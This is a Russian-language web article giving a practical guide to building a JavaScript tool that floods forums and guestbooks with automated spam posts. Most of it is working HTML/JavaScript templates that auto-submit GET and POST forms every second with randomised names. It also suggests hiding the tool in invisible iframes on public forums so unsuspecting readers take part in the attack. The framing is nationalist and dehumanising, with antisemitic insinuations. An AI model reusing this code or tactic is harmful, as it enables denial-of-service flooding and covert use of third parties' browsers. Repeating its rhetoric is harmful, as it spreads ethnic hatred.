Практическая скриптология: говномёт своими руками

1. Нашёл ошибку?
2. Выдели её мышью.
3. Нажми Ctrl-Enter.

[ закрыть ]

Практическая скриптология:
говномёт своими руками

Душкин Р. В.
darkus.14@gmail.com

Ни для кого не секрет, что в наше время существует такой мощный инструмент, как интернет, позволяющий в более или менее свободном режиме общаться с единомышленниками, находить необходимую литературу и другие полезные вещи, а также самостоятельно публиковать различные ресурсы. Казалось бы — вот истинная свобода помыслов, взглядов и убеждений, ибо в настоящий момент вряд ли существуют системы подавления свободомыслия в интернете.

Однако так было бы в идеальном мире, свободном от негодяйства, паразитства и недочеловечества. В этом мире существует категория людишек, которая перманентно чем-либо недовольна. Григорий Петрович Климов грамотно описал этот сброд, дав начало любительским исследованиям в области дегенерологии. И, к сожалению, с присущей этим недочеловекам властолюбию они рвутся к административным вершинам, где бы они не находились. Так происходит и в интернете.

К тому же следует отметить такой аспект поведения этого сброда, как наличие двойных стандартов. Если вчера они на весь мир и во всё горло визжали картавыми голосами по поводу нарушения их прав и притеснения их со стороны государства, то стоило им захватить бразды правления — как репрессивные меры с их стороны не заставили себя ждать. Все помнят приснопамятную акцию, проводившуюся в русском сегменте интернета под лозунгом "очистим интернет от фашизма", после которой на многих сайтах появились изображения с надписями "интернет очищен на 80%". Пример завуалированной русофобии — всем известно, КТО составляет в России примерно 80% от населения — от кого же чистили интернет кучерявые ребята, прикрываясь лозунгами борьбы с "фашизмом"? Не известно, была ли эта акция попыткой сменить русское руководство некоторых публичных и хорошо посещаемых ресурсов, однако в результате пострадал большой ряд ресурсов поменьше. Придёт время, и руководство известной почтовой службы, а также непосредственные исполнители сполна ответят за это. Но пока повествование будет о другом...

Сейчас мы не в силах адекватно отвечать на антирусские и антиславянские вызовы, бросаемые вражинами в интернете, но можно принести немало хлопот тем, кто это делает и тем, кто последних обслуживает. В этой статье рассматривается вопрос об организации особого вида атак на гостевые книги и форумы, где происходят супостатские шабаши. Такой вид атак называется мудрёным нерусским словом "flooding", что переводится, как "наводнение", но здесь будет употребляться простой и доходчивый термин "говнометание". И пусть это не будет причиной умаления со стороны дегенеративного сброда — слово русское и отлично отражает принцип и результат атаки.

Итак, для обеспечения говнометания по вражескому форуму (гостевой книге, журналу отзывов или ещё чему подобному — далее эти понятия различаться не будут), необходимо выполнить ряд более или менее простых действий. Алгоритм создания автоматического говномёта описан далее. Для более грамотного понимания последующего текста желательно обладать хотя бы начальными знаниями по языкам HTML и JavaScript. Также следует отметить, что описываемый метод применим только к простым скриптам публикации данных, не имеющих средств защиты (тем не менее, таковые встречаются довольно часто).

Азъ)

Определить цель и способ говнометания. Для этого необходимо просмотреть HTML-код страницы, с которой происходит публикация сообщений на вражеский форум. Делается это простым выбором пункта "Просмотр в виде HTML" (в английском варианте "View as HTML") в контекстном меню (вызываемом по нажатию правой кнопки мыши). После открытия HTML-исходника в нём необходимо найти описание формы, из которой отправляются данные на публикацию. Для этого осуществляется поиск ключевого слова form. Необходимо учесть, что в коде может быть несколько форм — найти следует именно ту, из которой посылаются данные на публикацию. После того, как описание формы найдено, следует посмотреть атрибуты action и method найденного тэга form. В первом записана цель говнометания, во втором — способ.

Пример: пусть в исходном коде страницы, находящейся к примеру по адресу http://www.my-site.ru/survey.html, найдена такая запись:

<form method="get" action="post.html">

Тогда цель говнометания — файл post.html, который имеет тот же начальный URL, что и изучаемая страница (соответственно, полный адрес цели говнометания — http://www.my-site.ru/post.html), а способ говнометания — get.

Буки)

Изучить параметры говнометания. Параметры описываются в дочерних тэгах input (и некоторых других — option, textarea) найденной формы. Например, пусть найдено следующее описание формы:

<form method="get" action="post.html">
	<input type="text" name="name">
	<input type="text" name="place">
	<textarea name="message"></textarea>
</form>

В этом примере для публикации сообщения используются три параметра — name, place и message (значения атрибутов name или id соответствующих тэгов). Следовательно, файлу post.html необходимо передавать значения этих параметров, и они будут опубликованы. Если пользователь ввёл значения name="Пупкин", place="Земля" и message="Здравствуйте", то при публикации этих данных способом get произойдёт вызов адреса:

http://www.my-site.ru/post.html?name=Пупкин&place=Земля&message=Здравствуйте

При публикации способом post происходит несколько иная вещь — о ней рассказывается чуть позже.

Веди)

Создать HTML-страницы, которые и будут говномётом. Для этого необходимо воспользоваться каким-либо простым редактором текста (например, Allaire Homesite). Если способ говнометания get, то необходимо создать одну HTML-страницу, если же способ говнометания post, то две HTML-страницы. Других способов говнометания не существует. Если в тэге формы метод явно не указан, то по умолчанию используется get. Кроме того, рекомендуется создать отдельный файл с кодом JavaScript для неоднократного использования случайных данных. В дальнейшем рассмотрении используются следующие названия созданных файлов: thrower.html, action.html и data.js. В первых двух содержится HTML-код говномёта, в последнем — случайные данные для говнометания.

Проще всего рассмотреть файл data.js, что и делается здесь в первую очередь. Этот файл содержит случайный набор данных для говнометания, так скажем — снаряды. Если использовать одну и ту же последовательность символов, то она будет являться сигнатурой, по которой защита форума-мишени сможет определить последствия говнометания. Чтобы этого избежать и несколько больше испортить жизнь врагам, необходимо предусмотреть генераторы случайных данных. Конечно, можно было бы написать функцию для генерации строк случайной длины и со случайным содержимым, но такие строки будут сильно выделяться на фоне осмысленных сообщений от человеческих участников форума.

Итак, пример содержимого файла data.js для формы из примера выше (параметры для случайной генерации — имя пользователя и его местоположение):

//--------------------------------------------------

var nameArray = new Array ();
nameArray[0] = "Василий Пупкин";
nameArray[1] = "Брат Василия Пупкина";
nameArray[2] = "Сестра Василия Пупкина";
nameArray[3] = "Матушка Василия Пупкина";
nameArray[4] = "Батюшка Василия Пупкина";
nameArray[5] = "Бабушка Василия Пупкина";
nameArray[6] = "Дедушка Василия Пупкина";
nameArray[7] = "Любимая собака Василия Пупкина";
 
var placeArray = new Array ();
placeArray[0] = "Москва";
placeArray[1] = "Санкт Петербург";
 
//--------------------------------------------------

Первая строка описывает массив неопределённой длины, все последующий за ней строки кода — заполняют этот массив. Таким образом, в массиве nameArray содержится 8 элементов, а в массиве placeArray — 2 элемента. Количество данных в массивах может быть произвольным, главное, чтобы индексация массивов начиналась с нуля. Для говнометания можно предусмотреть возможность генерации осмысленных имён на русском языке — для этого необходимо использовать более сложные алгоритмы, но и результат будет менее предсказуемым. Тем не менее и такой способ является достаточно продуктивным.

В файл thrower.html необходимо вставить функцию для генерации случайных данных (в случае, если способ говнометания — get) и функцию для посылки пакета со снарядами. В случае, если способ говнометания post, в файл thrower.html необходимо вставить только функцию для посылки снарядов, а функцию для генерации случайного снаряда пишется в файле action.html. Кроме того в файл thrower.html необходимо вставить тэг iframe, атрибут src которого равен цели говнометания в случае способа get, и action.html в случае способа post. Далее показаны шаблоны обоих файлов...

Файл thrower.html:

<html>
<head>
<script src="data.js"></script>
<script>
var targetURL = "http://www.my-site.ru/post.html";

function getRandomData (strings)
{
	return strings[Math.round (Math.random () * (strings.length — 1))];
}

function throwShit ()
{
	var s = "";
	s += "?name=";
	s += getRandomData (nameArray);
	s += "&place";
	s += getRandomData (placeArray);
	s += "&message=";
	s += "Смерть оккупантам! Свободу Русскому народу!";
	
	document.all["thrower"].src = targetURL + s;
}

function startThrowing ()
{
	setInterval ("throwShit ()", 1000);
}
</script>
</head>
<body onload="startThrowing ()">
	<iframe name="thrower" id="thrower" src=""></iframe>
</body>
</html>

Если способ говнометания post, то функции getRandomData и throwShit должны описываться в файле action.html, а функция startThrowing должна выглядеть следующим образом:

function startThrowing ()
{
	setInterval ("document.all['thrower'].src = 'action.html'", 1000);
}

Файл action.html:

<html>
<head>
<script src="data.js"></script>
<script>

// Функция getRandomData такая же, как и в предыдущем примере.

function throwShit ()
{
	document.all["name"].value = getRandomData (nameArray);
	document.all["place"].value = getRandomData (placeArray);
	document.all["message"].value = "Смерть оккупантам! Свободу Русскому народу!";

	document.all["thrower"].submit ();
}
</script>
</head>
<body onload="throwShit ()">
	<form name="thrower" id="thrower" method="post" action="http://www.my-site.ru/post.html">
		<input type="hidden" name="name" id="name">
		<input type="hidden" name="place" id="place">
		<input type="hidden" name="message" id="message">
	</form>
</body>
</html>

Следует иметь в виду, что это лишь примерные шаблоны файлов — в каждом конкретном случае необходимо подходить осмысленно и с некоторой долей искусства. Остаётся отметить, что число 1000, которое встречается в описании функции startThrowing — это частота метания снаряда по вражескому ресурсу в миллисекундах. Соответственно 1000 — это одна секунда. Следует учесть, что у некоторых пользвателей доступ к интернету медленный, поэтому в некоторых случаях должно увеличить это число, особенно в случае использования способа говнометания post.

Глаголь)

Залить созданные файлы на какой-либо ресурс для обеспечения доступа к ним всех, кто изъявит желание использовать говномёт. В случае, если говномёт делался сугубо для собственных нужд, файлы можно оставить на жёстком диске. Однако при говнометании доступ в интернет должен быть открытым. После заливки опубликовать адрес говномёта (HTML-страницы thrower.html) на дружественных сайтах для достижения пущего эффекта.

Добро)

Подумать об анонимности процесса говнометания. Хотя самое страшное, что могут сделать вражины в этом случае, отправить говномётчика "в баню" — отключить ему доступ на свой сайт. Но сколько времени понадобится администраторам вражеского форума для его вычищения — больше, чем Гераклу для очистки Авгиевых конюшен. Особенно, если у такого администратора руки растут из одного места (а таковых не так уж и мало). Кроме того, файл thrower.html можно загружать в скрытый iframe на каком-нибудь публичном форуме, и чтец форума даже и подозревать не будет о том, что в этот момент он производит говнометание по вражескому ресурсу. Но это уже иная история.

Есть)

Прислать на адрес darkus.14@gmail.com свой вариант говномёта (все созданные файлы), предварительно запаковав их каким-нибудь архивом WinZip. Присланные файлы будут использоваться для создания общей базы данных для генерации случайных параметров. Вместе мы — Сила, по капельке соберётся море.

И ещё: по адресу http://roman-dushkin.narod.ru/scripts/russian_names.js находится файл для генерации полноценных русских имён в формате "Имя Отчество Фамилия". На момент написания этого практического руководства в этом программном модуле собрано около сотни мужских и женских имён, а также более семисот фамилий — вкупе это даёт более трёх с половиной миллионов случайных вариантов русских имён. Чтобы использовать этот модуль, необходимо сделать его подключение в HTML-страницу говномёта:

<script src="http://roman-dushkin.narod.ru/scripts/russian_names.js"></script>

А в том месте, где требуется написать русское имя, осуществить вызов функции, например, так:

var randomName = getRandomRussianName ();

Таким образом, в переменную randomName будет записано случайное русское имя в указанном ранее формате, которое можно подставить в соответствующее поле. Успешного говнометания по вражеским форумам, Соратники...

Буде какой супостат, али иная нерусь, али космополитичная и общечеловеческая сволочь, али ещё какая вражина захочет употребить или употребит сие знание и готовые ресурсы супротив Рода Славянского, Рода Русского, так разразит того Перун, да и придёт к тому Мара в неурочный час. Слово моё крепко.

Писано на родной земле
Сухеня месяца 13 дня
в году 836 от падения Арконы
во Славу Родных Богов.

Наверх | Разные статьи | РАЗНОЕ ·]